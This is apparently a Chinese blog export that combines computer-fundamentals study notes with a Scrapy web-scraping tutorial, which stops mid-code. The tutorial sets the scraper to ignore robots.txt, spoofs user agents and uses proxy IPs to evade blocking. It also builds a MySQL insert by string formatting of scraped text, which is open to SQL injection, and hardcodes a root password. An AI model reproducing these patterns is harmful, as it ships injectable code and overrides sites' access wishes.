晶体管计算机​\t采用晶体管制造的电子计算机.国外第二代电子[计算机]的生存期大约是1957–1964年.其软件开始使用面向过程的程序设计语言, 中国第一台晶体管计算机于1967年制成,运算速度为每秒五万次. 重量轻、寿命长、效率高、发热少、功耗低等优点.使用了晶体管以后,电子线路的结构大大改观,制造高速电子计 算机的设想也就更容易实现了. 1954年,美国贝尔实验室研制成功第一台使用晶体管线路的计算机,取名”催迪克”(TRADIC),装有800个晶体 管.1955年,美国在阿塔拉斯洲际导弹上装备了以晶体管为主要元件的小型计算机.10年以后,在美国生产的同一 型号的导弹中,由于改用集成电路元件,重量只有原来的1/100,体积与功耗减少到原来的1/300. 这一代计算机的主要标志是: 开创了计算机处理文字和图形的新阶段; 系统软件出现了监控程序,提出了操作系统的概念; 高级语言已投入使用; 开始有了通用机和专用机之分; 开始使用鼠标. 第三代 中小规模集成电路计算机第三代计算机(1965–1970年)使用小规模集成电路(SSIC)和中规模集成电路(MSIC)作为主要电子元件,其性能和稳 定性进一步提高. 这一代计算机的主要标志是: 运算速度已达到每秒100万次以上; 操作系统更加完善,出现分时操作系统; 出现结构化程序设计方法,为复杂软件提供了技术支持; 序列机的推出,较好地解决了”硬件不断更新,而软件相对稳定”的矛盾; 机器可根据其性能分成巨型机、大型机、中型机和小型机. 第四代 大规模和超大规模集成电路计算机第四代计算机(1971年至今)采用大规模集成电路(LSIC)和超大规模集成电路(VLSIC)作为主要电子元件,使得计算机日益小型化和微型化. 这一代计算机的主要标志是: 操作系统不断完善,应用软件的开发成为现代化工业的一部分; 计算机应用和更新的速度更加迅猛,产品覆盖各类机型; 计算机的发展进入了以计算机网络为特征的时代. 微型计算机,第四代计算机的代表,自1971年Intel推出4004微处理器以来,硬件技术的进步极大地推动了计算机的发展.随着字长从4位增加到64位,以及处理速度和存储容量的大幅提升,微型计算机的性能不断超越,尤其是在1980年代达到发展高峰. 计算机技术的进步表现在多个方向,如微型化、网络化和智能化等.计算机的核心功能是接受用户指令,并通过CPU进行计算处理,以产生或存储信息.这需要计算机的主要组件,包括输入单元(键盘、鼠标)、CPU(含算术逻辑单元、控制单元、存储单元)和输出单元(显示屏、打印机).这些组件通过主机板相连,形成一个完整的系统.计算机使用二进制进行运算,记忆和存储单位是字节和比特,按照1字节等于8比特,以及KB、MB、GB、TB等递增关系来计量. 不同类型的计算机服务于不同的应用需求: 超级计算机:提供最快的运算速度,用于国防、气象预测和科学模拟等领域. 大型计算机:处理大量数据和复杂运算,适用于大型企业主机和交易所. 迷你计算机:支持多用户,用于科学研究、工程分析和工厂管理等. 微电脑或个人计算机:小巧、经济,功能完备,包括台式机和笔记本等,广泛应用于个人和商业领域. 尽管个人计算机在1990年以前由于运算速度和有限的操作系统支持而受限,但其后的普及和技术进展已经使得它们成为日常生活和工作中不可或缺的工具. 信息与信息技术 信息与数据 信息是在自然界、人类社会和人类思维活动中普遍存在的一切物质和事物的属性 数据:是指存储在某种媒体上可以加以鉴别的符号资料,数据是信息的具体表现形式,是信息的载体,信息的符号化就是数据.信息是对数据进行加工得到的结果,他可以影响到人们的行为,决策,或对客观事物的认知 信息社会也称信息化社会,是继工业化社会以后,以信息活动为社会发展的基本活动的新型社会形态 信息技术是指人们获取、存储、传递、处理、开发和利用信息资源的相关技术 操作系统 计算机系统是指按用户的要求,接收和存储信息、自动进行数据处理并输出结果信息的系统,它由硬件子系统(计算机系统赖以工作的实体,包括显示屏、键盘、鼠标、硬盘等)和软件子系统(保证计算机系统按用户指定的要求协调工作,如Windows操作系统、office办公软件等)组成. 操作系统(OS)是计算机软件架构的基础部分,提供硬件与其他软件之间的接口,类似于餐桌为餐具提供摆放的平台.它具有以下核心功能: 资源管理:控制和管理计算机硬件资源,包括CPU、内存和存储设备,并根据需求优先分配系统资源. 文件系统:提供数据组织管理的结构,以目录层级组织存储在内部硬盘的文件. 设备驱动:为每个硬件设备提供接口,允许软件与硬件交互而无需了解硬件的具体操作细节. 用户接口:提供用户运行程序和访问文件的方法,例如Windows的图形界面或智能手机的Android或iOS系统. 系统服务程序:在计算机启动时运行,执行任务如安装文件系统、启动网络服务等. 操作系统是用户与计算机系统硬件传递信息的系统程序软件,是应用程序运行和用户操作的必备环境,确保了计算机系统的核心运作.无操作系统的计算机仿佛无用的砖头,而配备了操作系统的计算机则成为可功能丰富的工具.它负责管理计算机中的软件资源,如应用软件的安装和运行环境设置,并处理输入、输出任务,网络管理及文件系统操作. 下图给出了操作系统与计算机硬件、软件之间的关系示意图. 计算机上比较常见的操作系统有Windows、Linux、DOS、Unix等.Mac OS是苹果电脑Macintosh机器的专用操作系统,从本质上将,Mac OS 也是UNIX的一个变体. 目前流行的服务器和PC端操作系统有Linux、Windows、UNIX等. 计算机工作原理数据的表示方式,使用二进制0和1表示数据. 输入:接受由输入设备(如键盘)提供的数据. 处理:对数据进行操作,按一定方式将它们转换. 输出:在输出设备上(如显示器等)显示操作处理结果. 存储:存储处理结果供以后使用. 计算机组成 计算机主机 计算机硬件相关计算机基本组成部分:显卡、主板、电源、中央处理器 裸机:未配置任何软件的计算机 cpu中央处理器CPU是主机内部负责运算和控制的控制中心,是电脑的最关键部位,是计算机的头脑. CPU相当于人的大脑一样,在计算机中进行的任何操作数据的输入、存储、程序的运行,屏幕的显示、结果的打印 都是在CPU的控制下完成的,CPU是决定计算机的工作速度和效率的重要部件之一. 所属类别: 计算机系统的执行单元,是超大规模的集成电路 用途: 处理指令、执行操作、控制时间、处理数据 功能: 信息处理、程序运行的最终执行单元 从最初专用于数学计算到广泛应用于通用计算,从4位到8位、16位、32位处理器,最后到64位处理器,从各厂商互不兼容到不同指令集架构规范的出现,CPU 自诞生以来一直在飞速发展. 性能衡量指标CPU有几个重要的参数:主频、核心、线程、缓存、架构 主频我们常在CPU的参数里看到3.0GHz、3.7GHz等就是CPU的主频,严谨的说他是CPU内核的时钟频率,它直接的决定 了CPU的性能,可以通过超频来提高CPU主频来获得更高性能,单位时MHz(或GHz),用来表示CPU的运算、处理数据的速度. 举个有趣的例子:CPU的主频相当于我们胳膊的肌肉(力量),主频越高,力量越大. 核心我们更多听到的是,这个CPU是几核几核的,如2核、4核、6核、8核、16核等等. 这个核心可以理解为我们人类的胳膊,2核就是两条胳膊,4核就是4条胳膊,6核就是6条胳膊. 线程光有胳膊(核心)和肌肉(频率)是干不了活的,还必须要有手(线程)才行. 一般来说,单核配单线程、双核配双线程或者双核四线程、四核八线程等等,就相当于一条胳膊长一只手.后来由于技术越来越厉害,造出了一条胳膊长两只手的情况,这样干活的效率就大大的提高了. 架构现在胳膊有了,肌肉有了,手也有了,就差一个工具就可以干活了 这个工具就是CPU的架构,架构对性能的影响巨大. 新老架构区别很大,所以说有句话叫抛开架构看核心、频率都是耍流氓!这就是为啥以前AMD的CPU虽然核心数量和频率都比同时期的英特尔高,但是依然流传着i3战A8,i5秒全家、i7轰成渣这样的说法了. 这个时候可能有的人不理解了,怎么看架构呢?这个其实不用担心,因为一般来说,每一代CPU的架构都是一样的, 比如i3-8100、i5-8500、i7-8700都是8代的CPU,使用的架构也是一样的,现在官方店在售的也都是最新款,因此架构主要看最一代处理器就够了. 缓存(CaChe)缓存也是CPU里一项很重要的参数.由于CPU的运算速度特别快,在内存条的读写忙不过来的时候,CPU就可以把这 部分数据存入缓存中,以此来缓解CPU的运算速度与内存条读写速度不匹配的矛盾,所以缓存是越大越好. 随机存取存储器(RAM 内存)随机存取存储器(RAM)通常是指在工作时临时存储动态数据以增强计算机性能的计算机芯片. 换句话说,它是计算机的工作场所,在其中装载了活动的程序和数据,以便处理器在任何时候需要它们时,都不必从硬盘上获取它们. 随机存取存储器是易失性的,这意味着一旦关闭电源,它就会丢失其内容.这与非易失性存储器(例如硬盘和闪存) 不同,后者不需要电源来保留数据. 当计算机正常关闭时,位于RAM中的所有数据将返回到硬盘驱动器或闪存驱动器上的永久存储中.在下次启动时, RAM开始填充启动时自动加载的程序,此过程称为启动. 稍后,用户打开仍在内存中加载的其他文件和程序. 高速缓存存储器(CaChe)高速缓存是高速内存(RAM)的一小块,它通过从(相对较慢)主内存中预加载信息并将其按需传递给处理器来提高PC性能. 大多数CPU都具有内部高速缓存(内置于处理器中),称为一级缓存或主高速缓存.这可以通过主板上安装的外部缓存来补充.这是二级或二级缓存. 在现代计算机中,第1级和第2级高速缓存内置在处理器芯片中.如果在裸片外部实现了第三高速缓存,则将其称为3级(L3)高速缓存. 基本输入/输出系统(BIOS)BIOS代表基本输入/输出系统.BIOS是”只读”内存,它由控制系统硬件并充当操作系统和硬件之间的接口的低级软件组成.大多数人都将BIOS一词称为设备驱动程序或驱动程序. BIOS本质上是系统中计算机硬件和软件之间的链接. 所有主板都包括一小块只读存储器(ROM),该存储器与用于加载和运行软件的主系统存储器分开.在PC上,BIOS 包含控制键盘,显示屏,磁盘驱动器,串行通信和许多其他功能所需的所有代码. 系统BIOS是主板上的ROM芯片,用于启动例程(引导过程),用于检出系统并准备运行硬件.BIOS存储在ROM芯片 上,因为即使计算机没有通电,ROM也会保留信息. 半导体随机存取存储器(CMOS RAM)主板还包括一小块由CMOS RAM芯片制成的单独的内存块,即使PC断电,该内存也由电池(称为CMOS电池)保持 活动状态.这样可以防止在PC开机时重新配置. CMOS器件只需很少的功率即可运行. CMOS RAM用于存储有关PC配置的基本信息,例如: 软盘和硬盘驱动器类型 有关CPU的信息 内存大小 日期和时间 串行和并行端口信息 即插即用信息 省电设置 保存在CMOS存储器中的其他重要数据是时间和日期,由实时时钟(RTC)更新. 显卡 显卡,也叫显示卡、显像卡、显示适配器,是计算机中的一种重要的硬件设备,用来处理和输出图像信号.它将计算机中的数字信号转换成图像信号,通过显示器来显示出来.显卡通常包括图像处理器、视频随机存取存储器(VRAM)、视频输出接口等部分,其性能直接影响到计算机图形图像处理的速度和质量.在游戏、影视制作、计算机辅助设计等方面,显卡的性能非常重要. 硬盘 按原理分为:机械硬盘(HDD)、固态硬盘(SSD)及混合硬盘(SSHD) 机械硬盘(HDD)机械硬盘(HDD)是传统硬盘,为电脑主要的存储媒介之一.由一个或者多个铝制或者玻璃制成的磁性碟片,磁头,转轴,控制电机,磁头控制器,数据转换器,接口和缓存等几个部分组成.工作时,磁头悬浮在高速旋转的碟片上进行读写数据.机械硬盘是集精密机械、微电子电路、电磁转换为一体的电脑存储设备. 固态硬盘(SSD)固态硬盘(SSD)是由多个闪存芯片加主控以及缓存组成的阵列式存储,属于以固态电子存储芯片阵列制成的硬盘. 相对机械硬盘,读取速度更快,寻道时间更小,可加快操作系统启动速度和软件启动速度. 混合硬盘(SSHD)混合硬盘(SSHD)是机械硬盘与固态硬盘的结合体,采用容量较小的闪存颗粒用来存储常用常用文件,而磁盘才是最重要的存储介质,闪存仅起到了缓冲作用,将更多的常用文件保存到闪存内减小寻道时间,从而提升效率. 计算机中信息的表示二进制什么是二进制二进制是一套计数方法,每个位置上的数有2种可能(0 - 1),它的基数为2,进位规则是”逢二进一”,借位规则是”借一当二”,由18世纪德国数理哲学大师莱布尼兹发现,当前的计算机系统使用的基本上是二进制系统,数据在计算机中主要是以补码的形式存储的.计算机中二进制则是一个非常微小的开关, 用”开”来表示1,关来表示0. 数制 数制就是一种表示数字的方法.我们通常使用的十进制数制,是一种基于10个数字 在这些数制中,每个数字的位置仍然代表它所代表的数值的大小,但数字的取值范围和表示方式不同. 不同的数制可以在不同的应用场景中使用.例如,在计算机科学中,二进制数制是最基本的数制,因为计算机内部的所有数据都是以二进制形式存 储和处理的.十六进制数制则常用于表示颜色代码和内存地址等. 数码 数码:一组用来表示某种数制的符号.如:1、2、3、4、A、B、C、Ⅰ、Ⅱ、Ⅲ、Ⅳ、Ⅴ等. 基数 基数:数制所使用的数码个数称为”基数”或”基”,常用”R”表示,称为R进制.如二进制的数码是0、1,基为2. 位权 位权:指数码在不同位置上的权值.在进位计数制中,处于不同数位的数码代表的数值不同.如十进制数111, 二进制转换 R进制(二进制、八进制、十六进制)转10进制 标指数 按权展 和相加 十进制转二进制 整数除二取余法,余数倒排 小数乘2法,乘积的整数部分正排 二进制转八进制,一组三个,421法 二进制转十六进制一组四个,8421法 比特计算机拥有数十亿超小型的数字电路,这些电路由开关组成,并且开关的状态只有开或关,分别代表二进制中的1和0 .回想那些年我们逃过的数字电路课,依稀记得当时通过调节其中部分电路开关,决定是否让电流通过,可以看到对应开关上的红灯是否被点亮. 计算机中最小的存储单位是二进制位(binary digit),也叫比特 , bit只能够存储0或1;而要存储额外的信息 (如更大的十进制数),计算机通过串联这些 bit 来完成.这正是它牛逼的地方,只要开关足够多,它可以通过这些0和1代表任何内容. 由 8 bit 串联组成的称为字节(byte) ,1 个字节可以代表 256 种不同的可能($2^8$),2 个字节可以代表 65,536 种不同的可能($2^{16}$),而这只需要 16 个开关 信息的编码ASCII ASCII码又称西文字符 标准的ASCII码采用7位二进制编码,因此一个字符在计算机内实际使用一个字节8位表示 A:65,a:97,0:48,空格:32.空格<数字<大写<小写,十进制大小相差32,十六进制大小相差20H 在ASCII码中控制符号的字符是无法打印或显示出来的 正常情况下,最高位为0在需要奇偶校验时,第一位可用于存放奇偶校验的值,此时称这一位为校验位 ASCII码表ASCII码表包含了128个字符,每个字符都有一个唯一的整数值.下面是ASCII码表的一部分: ASCII码的应用ASCII码被广泛应用于计算机和通信设备中,例如: 在计算机中,每个字符都以ASCII码的形式存储和处理; 在通信设备中,ASCII码被用于表示文本消息和命令. ASCII码的扩展由于只有128个字符,ASCII码并不能满足所有的字符需求.为了解决这个问题,人们开发了一些扩展的编码方式,如Unicode和UTF-8等. Unicode是一种包含了几乎所有字符的编码方式,它将每个字符映射到一个唯一的整数值.UTF-8是一种基于Unicode的编码方式,它将Unicode字符编码成一系列字节,以便于在计算机中存储和处理. 小结 ASCII码是一种用于表达字符的编码方式,它将每个字符映射到一个整数值; ASCII码表包含了128个字符,每个字符都有一个唯一的整数值; ASCII码被广泛应用于计算机和通信设备中; Unicode和UTF-8是ASCII码的扩展,它们可以表达更多的字符. 汉字编码 汉字交换码:又称国标码汉字编码的国家标准,代号为GB2312-80(80为1980年颁布的) 1一个汉字占两个字节,最高位均为0 GBK:国标扩展码 汉字机内码:汉字被计算机系统内部处理和存储而是用的编码,一个国标码占两个字节,一个汉字占两个字节 1234一个汉字的机内码两个字节的最高位均为1机内码=是将国标码的最高位0变成1,其他位不变00101101 0100101110101101 11001011 汉字区位码(唯一无重码的输入码):为了方便查询和使用.把国标码排列在一张94行(区)94列(位)的二维表中 1区位码+2020H--->国标码+8080H--->机内码(十六进制) 如果机内码反求区位码,切记,一定要转换为十进制 123456789区位码:最早的汉字编码,解决汉字的编排问题区码为行(01-94),位码位列(01-94)高位为区码,低位为位码例"啊"高位就是16,低位是01区位码转换成十六进制区位码1601(4位十进制数组成一个区位码)16D=10H01D=01H=1001H(区位码) 汉字字形码又称汉字字模,用于在显示屏显示或打印机输出,表示方式:点阵和矢量 1存储空间字节数的计算方法:行点数*列点数/8 Windows 系统的学习WINDOWS快捷方式 快捷键组合 功能描述 Windows 显示或隐藏 “开始” 功能菜单 Windows + D 显示桌面或恢复原先打开的窗口 Windows + E 打开 “我的电脑” Windows + R 开启 “运行” 对话框 Windows + L 锁定计算机 Windows 按住不动 + Tab 以立体效果切换打开的应用程序 (仅Win7支持) 运行窗口常用命令 命令 描述 services.msc 打开本地服务设置,管理系统服务 mmc 打开控制台,用于各种管理扩展组件 notepad 打开记事本,用于文本编辑 gpedit.msc 打开组策略,管理计算机和用户配置 mstsc 启动远程桌面连接,访问远程系统 msinfo32 显示系统信息,了解硬件和软件配置 devmgmt.msc 打开设备管理器,管理硬件设备 taskmgr 打开任务管理器,查看进程和性能 firewall.cpl 打开Windows防火墙,管理防火墙设置 lusrmgr.msc 管理本机用户和组账户 control 打开控制面板,更改系统设置 compmgmt.msc 打开计算机管理,集成多种管理工具 Ctrt快捷键(文本编辑使用较多) 快捷键 功能 Ctrl + S 保存文件 Ctrl + Z 撤销上一操作 Ctrl + F 查找内容 Ctrl + X 剪切选中内容 Ctrl + C 复制选中内容 Ctrl + V 粘贴剪贴板内容 Ctrl + A 全选文档内容 Ctrl + Shift 切换输入法 Ctrl + 空格 中英文输入法切换 Ctrl + Alt + A 截屏 (QQ的截屏快捷键) ALT快捷键 Alt+F4 关闭当前程序 Alt+Tab在打开的应用不同窗口间进行切换 新一代信息技术云计算 概念:一种按照使用量付费的模式,这种模式提供可用的、便捷的、按需的网络访问,进入可配置的计算资源共享池(资源包括网络,服务器,存储,应用软件,服务等),这些资源能够给被快速提供,只需要投入很少的管理工作,或与服务供应商进行很少的交互 特点 按需服务 极其廉价 规模大 虚拟化 可靠性高 通用性强 可伸缩性(可扩展性) 服务模式 基础架构即服务(IaaS)将云计算机的内存、I/O设备、存储、计算能力整合成一个虚拟的资源池,为用户提供所需的存储资源和虚拟化服务器等服务例如:云存储,云主机,云服务器,位于云计算服务的最底端 平台即服务(Paas)将软件研发的平台作为一种服务,例如:云数据库,位于云计算服务的中间 软件即服务(SaaS)指通过互联网就直接能够使用软件应用,不需要本地安装例如:阿里云的短信服务,邮件推送,是最常见的云计算服务,位于云计算服务的顶端 部署模型 公有云:对公众开放的云服务,目前最为主流和受欢迎的云计算部署模式. 私有云:组织结构建设的仅供自己使用的云平台,不对公众提供服务. 混合云:由私有云和公有云混合组成,使用混合云计算模式,机构可以在公有云上运行非核心的应用程序,在私有云上支持其核心程序以及内部敏感数据. 关键技术 数据中心相关技术:数据中心相当于云计算的大脑.在这个系统中占有核心地位,其稳定运转对整个系统的意义不言而喻. 虚拟化技术:虚拟化技术具有资源分享、定制以及细粒度资源管理的特点虚拟机快速部署技术和虚拟化在线迁移技术是它的两项关键技术. 海量数据存储与处理技术:海量数裾的存储和处理是云计算的关键能力,需要考虑系统的I/O性能等技术参数. 资源管理与调度技术:云计算平台有庞大的数据交互、海量的数据存储和处理.这给平台的资源管理和调度带来了巨大的挑战. 服务质量保证机制:确保服务的高可靠. 安全与隐私保护技术:用户将数据存在在云计算平台上,如何保证用户数据的安全隔离,保证用户敏感数据的安全性是云计算需要考虑的问题. 大数据 概念:一种规模大到,在获取、存储、管理、分析等方面,都远远超出了传统数据库软件等工具的能力范围的数据集合,具有海量的数据规模、快速的数据流转,多样的数据类型和价值密度低等四大特征. 大数据的特征可以用4个V来总结 数据量巨大(Volume) 数据类型繁多(Variety) 处理速度快(Velocity) 价值密度低(Value) 大数据处理技术基础 大数据是技术的合集 数据产生技术 数据获取与存储技术 数据处理技术 数据呈现技术 数据处理的思维和方法的特点 不是抽样统计,而是面向全体样本 允许不精确和混杂性 不是因果关系,而是相互关系 大数据计算模式 批处理计算:针对大规模数据的批量处理 流计算:针对流数据的实时计算 图计算:针对大规模图结构数据处理 查询分析计算:大规模数据的存储管理和查询分析 物联网 物物相连的互联网,即物联网 物联网的关键技术 RFID技术 传感技术 嵌入式技术 位置服务技术 IPv6技术 物联网四大支撑技术 RFID 传感网 M2M:基于移动端的移动互联网模式 两化融合 物联网典型体系架构 感知层 网络层 应用层 物联网的应用 智能家居 智能交通 智能医疗 智能物流等 人工智能 它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学 人工智能应用领域 智能机器人 模式识别系统 染色体识别 图形识别 图像识别 语音识别 机器人视觉识别 自然语言处理程序 智能检索系统 区块链 区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式 区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式结构 基础技术 哈希运算(hash)(sha-256单向加密) 数字签名 P2P网络 共识算法 智能合约 特性 透明可信 防篡改可追溯 去信任 系统高可靠 去中心化 匿名性 开放共识 分类 共有链 私有链 联盟链 应用领域 数字金融 物流 数字版权 数字货币 虚拟现实 虚拟现实( Virtual Reality,简称VR)又称作虚拟环境,是一种利用计算机模拟产生的一个虚拟的三维世界,为用户提供关于视觉、触觉、嗅觉等感官的模拟,使用户可以即时地感知虚拟世界并与之交互. 特征 沉浸式 交互式 构想性 多感知性 关键技术 环境建模技术 立体声合成和立体显示技术 触觉反馈技术 交互技术 典型应用 教育应用 工程设计领域 医学领域 影视娱乐 军事领域 商业领域 其他相关技术 增强现实","tags":["计算机基础"]},{"title":"Python-Scrapy的基本使用","path":"/2020/05/24/48cd9b71/","content":"总字符数: 21.88K 代码: 18.29K, 文本: 1.74K 预计阅读时间: 1.45 小时 scrapy的基本使用 创建一个工程 scrapy startproject filename 必须在spiders这个目录下创建一个爬虫文件 cd proName scrapy genspider spiderName www.xxx.com 执行工程:scrapy crawl spiderName settings.py 不遵从rebots协议 ROBOTSTXT_OBEY = False 进行UA伪装 USER_AGENT = 'UA' 进行日志等级设定 LOG_LEVEL = 'ERROR' scrapy解析12345678910111213def parse(self, response): # 解析:作者的名称+段子的内容 div_list = response.xpath('//div[@class="col1 old-style-col1"]/div') for div in div_list: # xpath返回的是列表, 但是列表元素一定是Selector类型的对象想要取得内容可以直接.extract() # .extract可以将Selector对象中的data参数存储的字符串提取出来 # 只要能保证返回的列表里只有一个内容就可以使用.extract_first否则还是使用[下标]取出 # .extract_first将列表中的第0个取出 author = div.xpath('./div[1]/a[2]/h2/text()').extract_first() # 列表调用了.extract之后, 则表示将列表中每一个Selector对象中的data对应的字符串提取了出来 content = div.xpath('./a[1]/div/span//text()').extract() content = ''.join(content) # 将列表转换为字符串 print(author, content) scrapy持久化存储 基于终端指令: 要求:只可以将parse方法的返回值存储到本地的文本文件中 scrapy crawl qiubai -o ./qiubai.csv 注意:持久化存储对应的文本文件类型只可以为:'json','jsonlines','jl','csv','xml','marshal','pickle' 好处:简洁高效便捷 缺点:局限性较强(数据值可以存储到指定后缀名文件中) 基于管道 编码流程: 数据解析 123456789101112131415161718192021#qiubai.py 文件名import scrapy from qiubaiPro.items import QiubaiproItem#导入item类class QiubaiSpider(scrapy.Spider): name = 'qiubai' # allowed_domains = ['www.xxx.com'] start_urls = ['https://www.qiushibaike.com/text/'] def parse(self, response): # 解析:作者的名称+段子的内容 div_list = response.xpath('//div[@class="col1 old-style-col1"]/div') for div in div_list: # xpath返回的是列表, 但是列表元素一定是Selector类型的对象想要取得内容可以直接.extract() # .extract可以将Selector对象中的data参数存储的字符串提取出来 # 只要能保证返回的列表里只有一个内容就可以使用.extract_first否则还是使用[下标]取出 # .extract_first将列表中的第0个取出 # 匿名用户和正常用户的用户名不在同一个div中所以使用管道符分割,来写2个xpath表达式 author = div.xpath('./div[1]/a[2]/h2/text() ./div[1]/span[2]/h2/text()').extract_first() # 列表调用了.extract之后, 则表示将列表中每一个Selector对象中的data对应的字符串提取了出来 content = div.xpath('./a[1]/div/span//text()').extract() content = ''.join(content) # 将列表转换为字符串 在item类中定义相关的属性 1234567891011121314#items.py 文件名# Define here the models for your scraped items## See documentation in:# https://docs.scrapy.org/en/latest/topics/items.htmlimport scrapyclass QiubaiproItem(scrapy.Item): # define the fields for your item here like: author = scrapy.Field()#定义author属性 content = scrapy.Field()#定义content属性 将解析的数据封装存储到item类型的对象中 1234#qiubai.py 文件名item = QiubaiproItem()#实例化对象item['author'] = author#将author存储到item对象中item['content'] = content#将content存储到item对象中 将item类型的对象提交给管道进行持久化存储的操作 12# 将item提交给了管道yield item 在管道类的process_item中要将其接收到的item对象中存储的数据进行持久化存储操作 123456789101112131415161718192021222324252627282930313233#pipelines.py 文件名# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterclass QiubaiproPipeline: # 专门用来处理item类型对象 # 该方法可以接收爬虫文件提交过来的item对象 # 该方法每接收到一个item就会被调用一次 fp = None # 重写父类的一个方法:该方法只在开始爬虫的时候被调用一次 def open_spider(self, spider): print('打开文件') self.fp = open('./qiubai.txt', 'w', encoding='utf-8') pass def process_item(self, item, spider): author = item['author'] content = item['content'] self.fp.write(author+':'+content+' ') return item def close_spider(self, spider): print('关闭文件') self.fp.close() 在配置文件中开启管道好处: 12345#setting.py 文件名#将以下内容取消注释,300代表优先级,数字越小优先级越高,一个键值对应一个管道类ITEM_PIPELINES = { 'qiubaiPro.pipelines.QiubaiproPipeline': 300,} 优点: 通用性强 缺点: 操作繁琐 测试题 将爬取到的数据一份存储到本地一份存储到数据库,如何实现? 123456#settings.py 文件名ITEM_PIPELINES = { 'qiubaiPro.pipelines.QiubaiproPipeline': 300, 'qiubaiPro.pipelines.mysqlPileLine': 301,} 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#pipelines.py 文件名# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterimport pymysqlclass QiubaiproPipeline: # 专门用来处理item类型对象 # 该方法可以接收爬虫文件提交过来的item对象 # 该方法每接收到一个item就会被调用一次 fp = None # 重写父类的一个方法:该方法只在开始爬虫的时候被调用一次 def open_spider(self, spider): print('打开文件') self.fp = open('./qiubai.txt', 'w', encoding='utf-8') pass def process_item(self, item, spider): author = item['author'] content = item['content'] self.fp.write(author+':'+content+' ') return item # return item就会传递给下一个即将被执行的管道类 def close_spider(self, spider): print('关闭文件') self.fp.close() # 管道文件中一个管道类对应将一组数据存储到一个平台或者载体中 class mysqlPileLine: conn = None cursor = None def open_spider(self, spider): print('正在连接数据库') self.conn = pymysql.Connect( host='127.0.0.1', port=3306, user='root', password='123456789', db='qiubai', charset="utf8") def process_item(self, item, spider): print('正在写入数据') self.cursor = self.conn.cursor() try: self.cursor.execute('insert into qiubai values("%s","%s")' % (item["author"], item["content"])) self.conn.commit() except Exception as e: print(e) self.conn.rollback return item def close_spider(self, spider): print('正在关闭连接') self.cursor.close() self.conn.close() 爬虫文件提交的item类型的对象最终会提交给哪一个管道类? 爬虫文件提交的item只会给管道文件中第一个被执行的管道类接收 第一个管道类中的process_item中的return item表示将item传递给下一个即将被执行的管道类 基于Spider的全站数据爬取什么是全站数据爬取 就是将网站中某板块下的全部页码对应的页面数据爬取下来 需求:爬取校花网中的照片的名称 实现方式: 自行手动进行请求发送(推荐) 将所有页面的url添加到start_urls列表中(不推荐,如果页码有上万个呢?) 123456789101112131415161718192021222324#xiaohua.pyimport scrapyclass XiaohuaSpider(scrapy.Spider): name = 'xiaohua' # allowed_domains = ['www.xxx.com'] start_urls = ['http://www.521609.com/tuku/index.html'] # 生成一个通用的url模板(不可变) url = 'http://www.521609.com/tuku/index_%d.html' page_num = 2 def parse(self, response): li_list = response.xpath('//ul[@class="pbl "]/li') for li in li_list: img_name = li.xpath('./a/p/text()').extract_first() print(img_name) if self.page_num <= 51: print(self.page_num) new_url = format(self.url % self.page_num) # 手动请求发送:callbak回调函数是专门用于数据解析 self.page_num += 1 yield scrapy.Request(url=new_url, callback =self.parse) 请求传参 使用场景:如果爬取的解析数据不在同一张页面中.(深度爬取) 图片数据爬取之ImagesPipeline 基于scrapy爬取字符串类型的数据和爬取图片类型的数据区别? 字符串:只需要xpath进行解析且提交管道进行持久化存储 图片:xpath解析出图片的src属性值.单独对图片地址发起请求获取图片二进制类型的数据 ImagesPipeline: 只需要将img的src的属性值进行解析,将属性值封装到item并提交给管道,管道就会对图片的src进行请求发送获取图片的二进制类型的数据,且还会帮我们进行持久化存储 需求:爬取站长素材中的高清图片 使用流程: 数据解析(地址的地址) 将存储文件地址的item提交到指定的管道类 在管道文件中定制一个基于ImagesPipeLine的一个管道类 1234567891011121314151617181920212223242526272829#pipelines.py# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterfrom scrapy.pipelines.images import ImagesPipelineimport scrapy# class ZhanzhangproPipeline:# def process_item(self, item, spider):# return itemclass imgsPileLine(ImagesPipeline): # 就是可以根据图片地址进行图片数据的请求 def get_media_requests(self, item, info): yield scrapy.Request(item['src']) # 指定图片存储的路径 def file_path(self, request, response=None, info=None): imgName = request.url.split('/')[-1] return imgName def item_completed(self, results, item, info): return item # 返回给下一个即将被执行的管道类 修改serrings.py配置文件 123#serrings.py#指定图片存储的目录IMAGES_STORE = './imgs' 指定开启的管道类:定制的管道类 12345serrings.pyITEM_PIPELINES = { 'zhanzhangPro.pipelines.imgsPileLine': 300,} 中间件 下载中间件 位置:引擎和下载器之间 作用:批量拦截到整个工程中所有的请求和响应 拦截请求 UA伪装 代理IP 拦截响应: 篡改响应数据,响应对象 设置UA伪装以及代理IP 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091#middlewares.py# Define here the models for your spider middleware## See documentation in:# https://docs.scrapy.org/en/latest/topics/spider-middleware.htmlfrom scrapy import signals# useful for handling different item types with a single interfacefrom itemadapter import is_item, ItemAdapterimport randomclass QiubaiproDownloaderMiddleware: user_agent_list = [ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 " "(KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 " "(KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 " "(KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 " "(KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 " "(KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", "Mozilla/5.0 